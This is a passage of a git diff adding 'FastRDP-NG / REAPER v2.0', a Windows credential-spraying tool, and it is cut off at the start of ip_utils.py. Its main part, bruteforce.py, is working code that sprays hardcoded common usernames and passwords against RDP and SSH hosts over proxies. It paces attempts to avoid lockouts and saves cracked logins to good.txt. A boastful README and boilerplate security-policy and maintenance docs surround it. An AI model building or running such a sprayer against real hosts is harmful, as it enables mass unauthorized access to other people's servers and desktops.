| Aspect | Original (v2.0) | FastRDP-NG (v2.0 NG) |
|
- Only hit systems you own or have **written permission** to test
|
||||||
|--------|----------------|---------------------|
|
- Unauthorized access is a **federal crime** in most countries
|
||||||
| **Speed** | Threaded, CPU-bound | **Async I/O, 10-100x faster** |
|
- The author(s) assume **ZERO liability** for how you use this
|
||||||
| **Source** | Closed (.exe + .dll) | **Open Python** |
|
- If you catch a case, that's on **YOU**, not me
|
||||||
| **Dependencies** | libeay32, ssleay32, msvcr70/71 | **Python stdlib only** |
|
|
||||||
| **GUI** | Windows-only | **Dark theme, 3 tabs, responsive** |
|
|
||||||
| **Range Format** | Limited | **CIDR + dash + single + mixed** |
|
|
||||||
| **Password Strategy** | Sequential brute | **Password spraying (anti-lockout)** |
|
|
||||||
| **Live Stats** | Basic progress bar | **6-metric dashboard, 500ms refresh** |
|
|
||||||
| **Wordlist Editor** | External | **Built-in, 3 editors in Settings** |
|
|
||||||
| **Results View** | Text file | **Live table + hit tree + file viewer** |
|
|
||||||
|
|
||||||
## 🐍 Technical Details
|
**Don't be a script kiddie. Be a professional.**
|
||||||
|
|
||||||
- **100% Python 3.11** — No compiled binaries needed
|
|
||||||
- **Async I/O** — `asyncio.open_connection()` for non-blocking TCP
|
|
||||||
- **No external dependencies** — Runs with Python stdlib only
|
|
||||||
- **tkinter GUI** — Native Windows rendering, lightweight (~12MB RAM idle)
|
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
*Built with ⚡ for speed. If it's not fast enough, turn up the slider.*
|
## 🛠️ TECH SPECS (FOR THE GEEKS)
|
||||||
|
|
||||||
|
| Spec | Value |
|
||||||
|
|------|-------|
|
||||||
|
| **Language** | Python 3.11+ |
|
||||||
|
| **Async Engine** | `asyncio` with semaphore concurrency |
|
||||||
|
| **Proxy Protocol** | SOCKS4, SOCKS5, HTTP CONNECT |
|
||||||
|
| **Proxy Lib** | `aiohttp-socks` v0.11 |
|
||||||
|
| **GUI** | `tkinter` (native Windows, ~12MB RAM idle) |
|
||||||
|
| **HTTP Client** | `aiohttp` v3.13 |
|
||||||
|
| **Encoding** | UTF-8 everywhere (no more Unicode crashes) |
|
||||||
|
| **Dependencies** | `aiohttp`, `aiohttp-socks` (Python stdlib for core) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
```
|
||||||
|
☠ ░▒▓█ REAPER v2.0 █▓▒░ ☠
|
||||||
|
No mercy. No lockouts. Just results.
|
||||||
|
|
||||||
|
"The network is a graveyard, and I'm the reaper."
|
||||||
|
```
|
||||||
|
|
||||||
|
*Made for doom by drjones.*
|
||||||
|
|||||||
19
SECURITY.md
Normal file
19
SECURITY.md
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
# Security Policy
|
||||||
|
|
||||||
|
## Scope
|
||||||
|
|
||||||
|
This repository is maintained for authorized, lawful work only. Do not use code, firmware, payloads, scripts, or documentation from this project against systems, accounts, devices, networks, cards, readers, or services you do not own or do not have explicit permission to test.
|
||||||
|
|
||||||
|
## Reporting
|
||||||
|
|
||||||
|
Report security concerns privately to the maintainer. Do not open public issues containing live credentials, tokens, private captures, card data, target identifiers, exploit chains, or sensitive logs.
|
||||||
|
|
||||||
|
## Secrets And Data
|
||||||
|
|
||||||
|
- Do not commit `.env` files, API keys, Wi-Fi credentials, session cookies, private keys, dumps, captures, or personal data.
|
||||||
|
- Firmware binaries and captured artifacts must include provenance notes and SHA256 hashes before release.
|
||||||
|
- Generated dependency folders and build output belong outside Git unless there is a documented reason.
|
||||||
|
|
||||||
|
## Maintainer Rule
|
||||||
|
|
||||||
|
If a change increases misuse risk, narrows safety boundaries, or weakens provenance, it must be rejected or quarantined until documented.
|
||||||
395
bruteforce.py
Normal file
395
bruteforce.py
Normal file
@@ -0,0 +1,395 @@
|
|||||||
|
"""
|
||||||
|
FastRDP-NG: RDP Password Sprayer.
|
||||||
|
Tries top common passwords against live RDP hosts using subprocess.
|
||||||
|
Supports optional proxy routing via ProxyManager.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import asyncio
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
import time
|
||||||
|
from typing import List, Tuple, Set, Optional
|
||||||
|
|
||||||
|
logger = logging.getLogger("FastRDP-NG")
|
||||||
|
|
||||||
|
_CRED_FALLBACK_WARNED = False
|
||||||
|
|
||||||
|
|
||||||
|
def get_rdpthread_path() -> Optional[str]:
|
||||||
|
"""Resolve rdpthread.exe beside this package, or None if not deployed."""
|
||||||
|
base = os.path.dirname(os.path.abspath(__file__))
|
||||||
|
for p in (
|
||||||
|
os.path.join(base, "rdpthread.exe"),
|
||||||
|
os.path.join(base, "..", "rdpthread.exe"),
|
||||||
|
os.path.join(base, "bin", "rdpthread.exe"),
|
||||||
|
):
|
||||||
|
if os.path.exists(p):
|
||||||
|
return p
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def credential_validation_available() -> bool:
|
||||||
|
"""True if rdpthread is present so password attempts can be validated."""
|
||||||
|
return get_rdpthread_path() is not None
|
||||||
|
|
||||||
|
|
||||||
|
def _subprocess_run_no_console(cmd: List[str], **kwargs):
|
||||||
|
"""Windows: hide console window for subprocess if supported."""
|
||||||
|
if hasattr(subprocess, "CREATE_NO_WINDOW"):
|
||||||
|
kwargs.setdefault("creationflags", subprocess.CREATE_NO_WINDOW)
|
||||||
|
return subprocess.run(cmd, **kwargs)
|
||||||
|
|
||||||
|
# Top 50 most common RDP passwords (by frequency in breaches)
|
||||||
|
TOP50_PASSWORDS = [
|
||||||
|
"admin", "Admin", "password", "Password", "123456",
|
||||||
|
"administrator", "Administrator", "p@ssw0rd", "P@ssw0rd", "passwor1",
|
||||||
|
"password1", "password123", "password1234", "Password01!", "PASSWORD123",
|
||||||
|
"passw0rd", "Passw0rd", "P@$$w0rd", "qwerty", "12345678",
|
||||||
|
"123456789", "1234567890", "letmein", "welcome", "monkey",
|
||||||
|
"dragon", "master", "login", "abc123", "test",
|
||||||
|
"test123", "pass", "Pass", "P@ss", "qwerty123",
|
||||||
|
"qwerty1", "asdfgh", "zxcvbn", "iloveyou", "trustno1",
|
||||||
|
"sunshine", "princess", "football", "baseball", "welcome1",
|
||||||
|
"admin123", "Admin123", "password!", "password.", "password00",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Top usernames for RDP
|
||||||
|
TOP_USERNAMES = [
|
||||||
|
"Administrator", "Admin", "admin", "administrator",
|
||||||
|
"User", "user", "GuestUser", "Guest", "root",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Guest-focused usernames (used when guest mode is enabled)
|
||||||
|
GUEST_USERNAMES = [
|
||||||
|
"guest", "Guest", "guestuser", "GuestUser", "GUEST",
|
||||||
|
"test", "Test", "user", "User", "visitor",
|
||||||
|
"anonymous", "Anonymous", "temp", "Temp", "default",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Top passwords for guest/weak account testing
|
||||||
|
GUEST_PASSWORDS = [
|
||||||
|
"guest", "Guest", "password", "Password", "123456",
|
||||||
|
"guest123", "welcome", "letmein", "test", "Test123",
|
||||||
|
"changeme", "default", "temp123", "user", "User123",
|
||||||
|
"", # empty password
|
||||||
|
]
|
||||||
|
|
||||||
|
async def spray_password(
|
||||||
|
ip: str,
|
||||||
|
port: int,
|
||||||
|
username: str,
|
||||||
|
password: str,
|
||||||
|
timeout: float = 5.0,
|
||||||
|
proxy_manager=None,
|
||||||
|
) -> Tuple[str, int, str, str, bool]:
|
||||||
|
"""
|
||||||
|
Try a single credential pair against an RDP host.
|
||||||
|
Supports optional proxy routing via proxy_manager.
|
||||||
|
|
||||||
|
Attempts to find rdpthread.exe in common locations, then
|
||||||
|
falls back to RDP banner detection (connectivity check only).
|
||||||
|
|
||||||
|
Returns (ip, port, username, password, success).
|
||||||
|
"""
|
||||||
|
global _CRED_FALLBACK_WARNED
|
||||||
|
rdpthread_path = get_rdpthread_path()
|
||||||
|
|
||||||
|
if rdpthread_path:
|
||||||
|
try:
|
||||||
|
result = _subprocess_run_no_console(
|
||||||
|
[rdpthread_path, ip, str(port), username, password],
|
||||||
|
capture_output=True,
|
||||||
|
timeout=timeout,
|
||||||
|
)
|
||||||
|
output = result.stdout.decode('utf-8', errors='ignore').lower()
|
||||||
|
success = (
|
||||||
|
"success" in output or
|
||||||
|
"connected" in output or
|
||||||
|
"authenticated" in output or
|
||||||
|
result.returncode == 0
|
||||||
|
)
|
||||||
|
return (ip, port, username, password, success)
|
||||||
|
except (FileNotFoundError, subprocess.TimeoutExpired,
|
||||||
|
subprocess.CalledProcessError, OSError):
|
||||||
|
pass
|
||||||
|
# Binary exists but attempt failed — fall through to connectivity check only.
|
||||||
|
|
||||||
|
if rdpthread_path is None:
|
||||||
|
if not _CRED_FALLBACK_WARNED:
|
||||||
|
_CRED_FALLBACK_WARNED = True
|
||||||
|
logger.debug(
|
||||||
|
"rdpthread.exe not in application directory; credential validation "
|
||||||
|
"unavailable until deployed (scanner unaffected)."
|
||||||
|
)
|
||||||
|
|
||||||
|
# Fallback: RDP banner check (confirms RDP service is running)
|
||||||
|
# When proxy is enabled, route through proxy
|
||||||
|
open_conn = asyncio.open_connection
|
||||||
|
if proxy_manager and proxy_manager.enabled:
|
||||||
|
open_conn = proxy_manager.open_connection
|
||||||
|
|
||||||
|
try:
|
||||||
|
reader, writer = await asyncio.wait_for(
|
||||||
|
open_conn(ip, port),
|
||||||
|
timeout=2.0
|
||||||
|
)
|
||||||
|
try:
|
||||||
|
try:
|
||||||
|
data = await asyncio.wait_for(
|
||||||
|
reader.read(4),
|
||||||
|
timeout=1.0
|
||||||
|
)
|
||||||
|
except (asyncio.TimeoutError, ConnectionError, OSError):
|
||||||
|
data = b""
|
||||||
|
# TPKT header (0x03) — RDP; we never report success without rdpthread above
|
||||||
|
if len(data) >= 2 and data[0] == 0x03:
|
||||||
|
return (ip, port, username, password, False)
|
||||||
|
return (ip, port, username, password, False)
|
||||||
|
finally:
|
||||||
|
try:
|
||||||
|
writer.close()
|
||||||
|
await writer.wait_closed()
|
||||||
|
except (OSError, ConnectionError, RuntimeError):
|
||||||
|
pass
|
||||||
|
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
|
||||||
|
return (ip, port, username, password, False)
|
||||||
|
|
||||||
|
|
||||||
|
async def spray_all_hosts(
|
||||||
|
live_hosts: Set[Tuple[str, int]],
|
||||||
|
usernames: List[str] = None, # type: ignore
|
||||||
|
passwords: List[str] = None, # type: ignore
|
||||||
|
max_concurrent: int = 100,
|
||||||
|
timeout: float = 5.0,
|
||||||
|
progress_callback=None,
|
||||||
|
proxy_manager=None,
|
||||||
|
) -> List[Tuple[str, int, str, str]]:
|
||||||
|
"""
|
||||||
|
Spray passwords across all live hosts in rounds: for each password, try
|
||||||
|
that password with every (host, username) combo before advancing.
|
||||||
|
Supports optional proxy routing.
|
||||||
|
|
||||||
|
Returns list of (ip, port, username, password) successful hits.
|
||||||
|
"""
|
||||||
|
if usernames is None:
|
||||||
|
usernames = TOP_USERNAMES
|
||||||
|
if passwords is None:
|
||||||
|
passwords = TOP50_PASSWORDS
|
||||||
|
|
||||||
|
sem = asyncio.Semaphore(max_concurrent)
|
||||||
|
hits = []
|
||||||
|
hits_written = 0
|
||||||
|
total_attempts = len(live_hosts) * len(passwords) * len(usernames)
|
||||||
|
attempts = 0
|
||||||
|
start_time = time.time()
|
||||||
|
|
||||||
|
async def try_combo(ip: str, port: int, user: str, pwd: str):
|
||||||
|
nonlocal attempts
|
||||||
|
async with sem:
|
||||||
|
_, _, u, p, success = await spray_password(
|
||||||
|
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
|
||||||
|
)
|
||||||
|
attempts += 1
|
||||||
|
if success:
|
||||||
|
hits.append((ip, port, u, p))
|
||||||
|
if progress_callback and attempts % 100 == 0:
|
||||||
|
elapsed = time.time() - start_time
|
||||||
|
rate = attempts / elapsed if elapsed > 0 else 0
|
||||||
|
progress_callback(attempts, total_attempts, len(hits), rate)
|
||||||
|
return success
|
||||||
|
|
||||||
|
logger.info(f"Spraying {len(passwords)} passwords across {len(live_hosts)} hosts...")
|
||||||
|
|
||||||
|
# Spray strategy: for each password, try it against ALL hosts first
|
||||||
|
# This is the "password spraying" approach - avoids lockouts
|
||||||
|
tasks = []
|
||||||
|
for password in passwords:
|
||||||
|
for ip, port in live_hosts:
|
||||||
|
for username in usernames:
|
||||||
|
tasks.append(asyncio.create_task(
|
||||||
|
try_combo(ip, port, username, password)
|
||||||
|
))
|
||||||
|
|
||||||
|
# Execute this password batch before moving to next password
|
||||||
|
if tasks:
|
||||||
|
await asyncio.gather(*tasks, return_exceptions=True)
|
||||||
|
if len(hits) > hits_written:
|
||||||
|
_write_hits(hits[hits_written:])
|
||||||
|
hits_written = len(hits)
|
||||||
|
tasks = []
|
||||||
|
|
||||||
|
elapsed = time.time() - start_time
|
||||||
|
rate = attempts / elapsed if elapsed > 0 else 0
|
||||||
|
if progress_callback and total_attempts > 0:
|
||||||
|
progress_callback(attempts, total_attempts, len(hits), rate)
|
||||||
|
logger.info(
|
||||||
|
f"Spray complete: {len(hits)} hits from {attempts} attempts "
|
||||||
|
f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)"
|
||||||
|
)
|
||||||
|
|
||||||
|
return hits
|
||||||
|
|
||||||
|
|
||||||
|
async def spray_single_host(
|
||||||
|
ip: str,
|
||||||
|
port: int,
|
||||||
|
usernames: List[str] = None,
|
||||||
|
passwords: List[str] = None,
|
||||||
|
max_concurrent: int = 50,
|
||||||
|
timeout: float = 5.0,
|
||||||
|
hit_callback=None,
|
||||||
|
proxy_manager=None,
|
||||||
|
) -> List[Tuple[str, int, str, str]]:
|
||||||
|
"""
|
||||||
|
Spray ALL passwords against a SINGLE host immediately.
|
||||||
|
Called as soon as a host is discovered — no need to wait for full scan.
|
||||||
|
Supports optional proxy routing.
|
||||||
|
|
||||||
|
hit_callback(ip, port, user, password): called on each successful hit.
|
||||||
|
Returns list of (ip, port, username, password) hits.
|
||||||
|
"""
|
||||||
|
if usernames is None:
|
||||||
|
usernames = TOP_USERNAMES
|
||||||
|
if passwords is None:
|
||||||
|
passwords = TOP50_PASSWORDS
|
||||||
|
|
||||||
|
sem = asyncio.Semaphore(max_concurrent)
|
||||||
|
hits: List[Tuple[str, int, str, str]] = []
|
||||||
|
|
||||||
|
async def try_combo(user: str, pwd: str):
|
||||||
|
async with sem:
|
||||||
|
_, _, u, p, success = await spray_password(
|
||||||
|
ip, port, user, pwd, timeout, proxy_manager=proxy_manager
|
||||||
|
)
|
||||||
|
if success:
|
||||||
|
hits.append((ip, port, u, p))
|
||||||
|
if hit_callback:
|
||||||
|
hit_callback(ip, port, u, p)
|
||||||
|
|
||||||
|
# Fire all tasks
|
||||||
|
tasks = []
|
||||||
|
for user in usernames:
|
||||||
|
for pwd in passwords:
|
||||||
|
tasks.append(asyncio.create_task(try_combo(user, pwd)))
|
||||||
|
|
||||||
|
if tasks:
|
||||||
|
await asyncio.gather(*tasks, return_exceptions=True)
|
||||||
|
|
||||||
|
# Avoid duplicate lines in good.txt when GUI provides hit_callback (writes there).
|
||||||
|
if hits and hit_callback is None:
|
||||||
|
_write_hits(hits)
|
||||||
|
|
||||||
|
return hits
|
||||||
|
|
||||||
|
|
||||||
|
# ── SSH PASSWORD SPRAY ────────────────────────────────────────────────
|
||||||
|
|
||||||
|
|
||||||
|
def _try_ssh_password(ip: str, port: int, username: str, password: str,
|
||||||
|
timeout: float) -> bool:
|
||||||
|
"""Synchronous SSH password attempt using paramiko.
|
||||||
|
Runs in a thread executor to avoid blocking the event loop."""
|
||||||
|
try:
|
||||||
|
import paramiko
|
||||||
|
import socket
|
||||||
|
client = paramiko.SSHClient()
|
||||||
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
try:
|
||||||
|
client.connect(
|
||||||
|
ip, port=port, username=username, password=password,
|
||||||
|
timeout=timeout, look_for_keys=False, allow_agent=False,
|
||||||
|
banner_timeout=timeout,
|
||||||
|
)
|
||||||
|
client.close()
|
||||||
|
return True
|
||||||
|
except paramiko.AuthenticationException:
|
||||||
|
return False
|
||||||
|
except (paramiko.SSHException, OSError, socket.timeout, EOFError,
|
||||||
|
ConnectionResetError):
|
||||||
|
return False
|
||||||
|
except ImportError:
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
async def spray_ssh_single_host(
|
||||||
|
ip: str,
|
||||||
|
port: int = 22,
|
||||||
|
usernames: List[str] = None,
|
||||||
|
passwords: List[str] = None,
|
||||||
|
max_concurrent: int = 30,
|
||||||
|
timeout: float = 5.0,
|
||||||
|
hit_callback=None,
|
||||||
|
proxy_manager=None,
|
||||||
|
) -> List[Tuple[str, int, str, str]]:
|
||||||
|
"""
|
||||||
|
Spray passwords against an SSH host using paramiko.
|
||||||
|
Falls back to banner-only check if paramiko is not installed.
|
||||||
|
|
||||||
|
When proxy is enabled, falls back to SSH banner check only
|
||||||
|
(paramiko doesn't support SOCKS natively).
|
||||||
|
"""
|
||||||
|
if usernames is None:
|
||||||
|
usernames = TOP_USERNAMES
|
||||||
|
if passwords is None:
|
||||||
|
passwords = TOP50_PASSWORDS
|
||||||
|
|
||||||
|
# If proxy is enabled or paramiko not available, fall back to banner check
|
||||||
|
use_banner_fallback = bool(proxy_manager and proxy_manager.enabled)
|
||||||
|
|
||||||
|
sem = asyncio.Semaphore(max_concurrent)
|
||||||
|
hits: List[Tuple[str, int, str, str]] = []
|
||||||
|
|
||||||
|
async def try_combo(user: str, pwd: str):
|
||||||
|
async with sem:
|
||||||
|
if use_banner_fallback:
|
||||||
|
# Just do a TCP/banner check (confirms SSH is alive)
|
||||||
|
open_conn = proxy_manager.open_connection if proxy_manager and proxy_manager.enabled else asyncio.open_connection
|
||||||
|
try:
|
||||||
|
_, writer = await asyncio.wait_for(
|
||||||
|
open_conn(ip, port), timeout=timeout
|
||||||
|
)
|
||||||
|
writer.close()
|
||||||
|
await writer.wait_closed()
|
||||||
|
# Can't validate creds through proxy, but host is alive
|
||||||
|
except (asyncio.TimeoutError, OSError, ConnectionError):
|
||||||
|
pass
|
||||||
|
return
|
||||||
|
|
||||||
|
# Run paramiko in thread executor (it's synchronous)
|
||||||
|
loop = asyncio.get_running_loop()
|
||||||
|
success = await loop.run_in_executor(
|
||||||
|
None, _try_ssh_password, ip, port, user, pwd, timeout
|
||||||
|
)
|
||||||
|
if success:
|
||||||
|
hits.append((ip, port, user, pwd))
|
||||||
|
if hit_callback:
|
||||||
|
hit_callback(ip, port, user, pwd)
|
||||||
|
|
||||||
|
# Fire all tasks
|
||||||
|
tasks = []
|
||||||
|
for user in usernames:
|
||||||
|
for pwd in passwords:
|
||||||
|
tasks.append(asyncio.create_task(try_combo(user, pwd)))
|
||||||
|
|
||||||
|
if tasks:
|
||||||
|
await asyncio.gather(*tasks, return_exceptions=True)
|
||||||
|
|
||||||
|
if hits and hit_callback is None:
|
||||||
|
_write_hits(hits)
|
||||||
|
|
||||||
|
return hits
|
||||||
|
|
||||||
|
|
||||||
|
def _write_hits(hits: List[Tuple[str, int, str, str]]):
|
||||||
|
"""Write successful hits to results file immediately."""
|
||||||
|
output_path = os.path.join(
|
||||||
|
os.path.dirname(os.path.abspath(__file__)),
|
||||||
|
"results", "good.txt",
|
||||||
|
)
|
||||||
|
os.makedirs(os.path.dirname(output_path), exist_ok=True)
|
||||||
|
with open(output_path, 'a') as f:
|
||||||
|
for ip, port, user, pwd in hits:
|
||||||
|
line = f"{user}:{pwd}@{ip}:{port}\n"
|
||||||
|
f.write(line)
|
||||||
|
print(f"\n[+] HIT! {line.strip()}")
|
||||||
39
build_rdpthread.bat
Normal file
39
build_rdpthread.bat
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
@echo off
|
||||||
|
title Build rdpthread.exe
|
||||||
|
cd /d "%~dp0"
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ╔════════════════════════════════════════════════════════╗
|
||||||
|
echo ║ Building rdpthread.exe - RDP Credential Validator ║
|
||||||
|
echo ╚════════════════════════════════════════════════════════╝
|
||||||
|
echo.
|
||||||
|
|
||||||
|
:: Find the C# compiler
|
||||||
|
set CSC=
|
||||||
|
for %%d in (v4.0.30319 v3.5 v2.0.50727) do (
|
||||||
|
if exist "%windir%\Microsoft.NET\Framework\%%d\csc.exe" (
|
||||||
|
set CSC="%windir%\Microsoft.NET\Framework\%%d\csc.exe"
|
||||||
|
goto :compile
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
echo [FAIL] C# compiler (csc.exe) not found!
|
||||||
|
echo Install .NET Framework SDK or Visual Studio Build Tools.
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
|
||||||
|
:compile
|
||||||
|
echo [*] Found C# compiler: %CSC%
|
||||||
|
echo [*] Compiling rdpthread.cs...
|
||||||
|
%CSC% /target:exe /out:rdpthread.exe /nologo rdpthread.cs
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo [FAIL] Compilation failed
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
echo [OK] rdpthread.exe built successfully
|
||||||
|
echo.
|
||||||
|
echo Usage: rdpthread.exe ^<ip^> ^<port^> ^<username^> ^<password^>
|
||||||
|
echo.
|
||||||
|
pause
|
||||||
23
docs/MAINTENANCE.md
Normal file
23
docs/MAINTENANCE.md
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
# Maintenance
|
||||||
|
<!-- stewardship-standard: maintenance-v1 -->
|
||||||
|
|
||||||
|
## Stewardship Rules
|
||||||
|
|
||||||
|
- Keep generated files, build outputs, copied SDKs, and raw firmware binaries out of Git unless they are the source of truth.
|
||||||
|
- Keep credentials, tokens, dumps, private messages, session stores, and local machine paths out of commits.
|
||||||
|
- Prefer small commits with clear intent and a matching issue or release note.
|
||||||
|
- Preserve upstream attribution when code is copied, forked, or adapted.
|
||||||
|
|
||||||
|
## Routine Checks
|
||||||
|
|
||||||
|
- README still describes what the project does.
|
||||||
|
- Setup instructions still work.
|
||||||
|
- Security policy is accurate for the current risk level.
|
||||||
|
- Changelog records user-visible changes.
|
||||||
|
- License status is explicit.
|
||||||
|
|
||||||
|
## Automation Gate
|
||||||
|
|
||||||
|
- Confirm no tokens, session cookies, personal data, or exported credentials are committed.
|
||||||
|
- Document required environment variables with safe example values only.
|
||||||
|
- Add rate-limit and account-safety notes before any release.
|
||||||
14
docs/PROJECT_HANDOFF.md
Normal file
14
docs/PROJECT_HANDOFF.md
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
# Project Handoff
|
||||||
|
<!-- stewardship-standard: project-handoff-v1 -->
|
||||||
|
|
||||||
|
## What This Repo Needs From A Maintainer
|
||||||
|
|
||||||
|
- A one-paragraph project summary in README.md.
|
||||||
|
- Confirmed setup instructions.
|
||||||
|
- Confirmed license status.
|
||||||
|
- Confirmed provenance for imported code and binaries.
|
||||||
|
- A known-good verification command, test, build, flash, or demo path.
|
||||||
|
|
||||||
|
## Current Stewardship State
|
||||||
|
|
||||||
|
This repo has baseline governance files, wiki pages, issue templates, labels, milestones, and a readiness issue. The next maintainer should replace generic stewardship notes with project-specific facts.
|
||||||
12
docs/PROVENANCE_CHECKLIST.md
Normal file
12
docs/PROVENANCE_CHECKLIST.md
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
# Provenance Checklist
|
||||||
|
<!-- stewardship-standard: provenance-checklist-v1 -->
|
||||||
|
|
||||||
|
Use this before claiming ownership or publishing artifacts.
|
||||||
|
|
||||||
|
- [ ] Identify original upstream source, if any.
|
||||||
|
- [ ] Record fork URL, commit, tag, or archive source.
|
||||||
|
- [ ] Preserve third-party notices and license files.
|
||||||
|
- [ ] Separate local patches from imported code where practical.
|
||||||
|
- [ ] Record binary build inputs, toolchain versions, and source commit.
|
||||||
|
- [ ] Publish checksums for release assets.
|
||||||
|
- [ ] Mark unknown-origin content as blocked until resolved.
|
||||||
20
docs/RELEASE_PROCESS.md
Normal file
20
docs/RELEASE_PROCESS.md
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
# Release Process
|
||||||
|
<!-- stewardship-standard: release-process-v1 -->
|
||||||
|
|
||||||
|
## Before Tagging
|
||||||
|
|
||||||
|
- Confirm the default branch builds, runs, or flashes as documented.
|
||||||
|
- Confirm no secrets, private data, generated dependency trees, or raw binaries are accidentally committed.
|
||||||
|
- Confirm license and upstream provenance are documented.
|
||||||
|
- Update CHANGELOG.md.
|
||||||
|
- Attach binaries only as release assets with SHA256 checksums and source commit references.
|
||||||
|
|
||||||
|
## Release Notes
|
||||||
|
|
||||||
|
Include:
|
||||||
|
|
||||||
|
- Purpose of the release.
|
||||||
|
- Commit hash or tag.
|
||||||
|
- Build environment.
|
||||||
|
- Known limitations.
|
||||||
|
- Verification performed.
|
||||||
20
docs/ROADMAP.md
Normal file
20
docs/ROADMAP.md
Normal file
@@ -0,0 +1,20 @@
|
|||||||
|
# Roadmap
|
||||||
|
<!-- stewardship-standard: roadmap-v1 -->
|
||||||
|
|
||||||
|
## Now
|
||||||
|
|
||||||
|
- Confirm the project purpose in the README.
|
||||||
|
- Confirm build, run, or flash instructions on a clean machine.
|
||||||
|
- Classify license status and upstream provenance.
|
||||||
|
- Close the stewardship readiness checklist issue.
|
||||||
|
|
||||||
|
## Next
|
||||||
|
|
||||||
|
- Add project-specific tests or verification steps.
|
||||||
|
- Publish the first verified release only after provenance and security review.
|
||||||
|
- Replace placeholder wiki notes with project-specific architecture or hardware details.
|
||||||
|
|
||||||
|
## Later
|
||||||
|
|
||||||
|
- Add examples, screenshots, wiring diagrams, or demo media where useful.
|
||||||
|
- Decide whether duplicate or experimental branches should be archived.
|
||||||
14
docs/SECURITY_REVIEW.md
Normal file
14
docs/SECURITY_REVIEW.md
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
# Security Review
|
||||||
|
<!-- stewardship-standard: security-review-v1 -->
|
||||||
|
|
||||||
|
## Required Checks
|
||||||
|
|
||||||
|
- [ ] No credentials, tokens, cookies, API keys, private keys, or session files.
|
||||||
|
- [ ] No private user data, dumps, card data, logs, or captures that should not be stored.
|
||||||
|
- [ ] No copied dependency trees where package managers or SDK installers should be used instead.
|
||||||
|
- [ ] No unexplained binaries in source history.
|
||||||
|
- [ ] Risky behavior is documented and scoped to authorized lab use.
|
||||||
|
|
||||||
|
## Release Gate
|
||||||
|
|
||||||
|
A release is blocked until the checklist is complete or a maintainer explicitly records why the item does not apply.
|
||||||
65
install.bat
Normal file
65
install.bat
Normal file
@@ -0,0 +1,65 @@
|
|||||||
|
@echo off
|
||||||
|
title REAPER v2.0 - Installer
|
||||||
|
color 0C
|
||||||
|
cd /d "%~dp0"
|
||||||
|
echo.
|
||||||
|
echo ╔═══════════════════════════════════════════════════╗
|
||||||
|
echo ║ ☠ REAPER v2.0 Installer ☠ ║
|
||||||
|
echo ║ Remote Exploitation ^& Password Enumeration ║
|
||||||
|
echo ╚═══════════════════════════════════════════════════╝
|
||||||
|
echo.
|
||||||
|
|
||||||
|
:: Check Python
|
||||||
|
python --version >nul 2>&1
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo [FAIL] Python is not installed or not in PATH!
|
||||||
|
echo.
|
||||||
|
echo Download Python 3.8+ from: https://python.org/downloads
|
||||||
|
echo Make sure to check "Add Python to PATH" during installation.
|
||||||
|
echo.
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
|
||||||
|
echo [OK] Python %pyver% found
|
||||||
|
|
||||||
|
:: Create directories
|
||||||
|
if not exist "wordlists" mkdir wordlists
|
||||||
|
if not exist "results" mkdir results
|
||||||
|
echo [OK] Directories created
|
||||||
|
|
||||||
|
:: Verify core files exist
|
||||||
|
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py
|
||||||
|
for %%f in (%FILES%) do (
|
||||||
|
if exist "%%f" (
|
||||||
|
echo [OK] %%f
|
||||||
|
) else (
|
||||||
|
echo [WARN] %%f not found
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
:: Create initial good.txt
|
||||||
|
if not exist "results\good.txt" (
|
||||||
|
echo. > "results\good.txt"
|
||||||
|
echo [OK] Created results\good.txt
|
||||||
|
)
|
||||||
|
|
||||||
|
:: Test import
|
||||||
|
echo.
|
||||||
|
echo Testing imports...
|
||||||
|
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; print(' [OK] All modules loaded successfully')" 2>&1
|
||||||
|
if %errorlevel% neq 0 (
|
||||||
|
echo [FAIL] Import test failed. There may be a syntax error.
|
||||||
|
pause
|
||||||
|
exit /b 1
|
||||||
|
)
|
||||||
|
|
||||||
|
echo.
|
||||||
|
echo ╔══════════════════════════════════════════╗
|
||||||
|
echo ║ Installation Complete! ║
|
||||||
|
echo ║ ║
|
||||||
|
echo ║ Run: run.bat or python main.py ║
|
||||||
|
echo ╚══════════════════════════════════════════╝
|
||||||
|
echo.
|
||||||
|
pause
|
||||||
96
ip_utils.py
Normal file
96
ip_utils.py
Normal file
@@ -0,0 +1,96 @@
|
|||||||
|
"""
|
||||||
|
FastRDP-NG IP Utilities
|
||||||
|
Parse IP ranges, CIDR notation, stick to basics.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import ipaddress
|
||||||
|
import re
|
||||||
|
from typing import Generator
|
||||||
|
|
||||||
|
IP_RANGE_RE = re.compile(
|
||||||
|
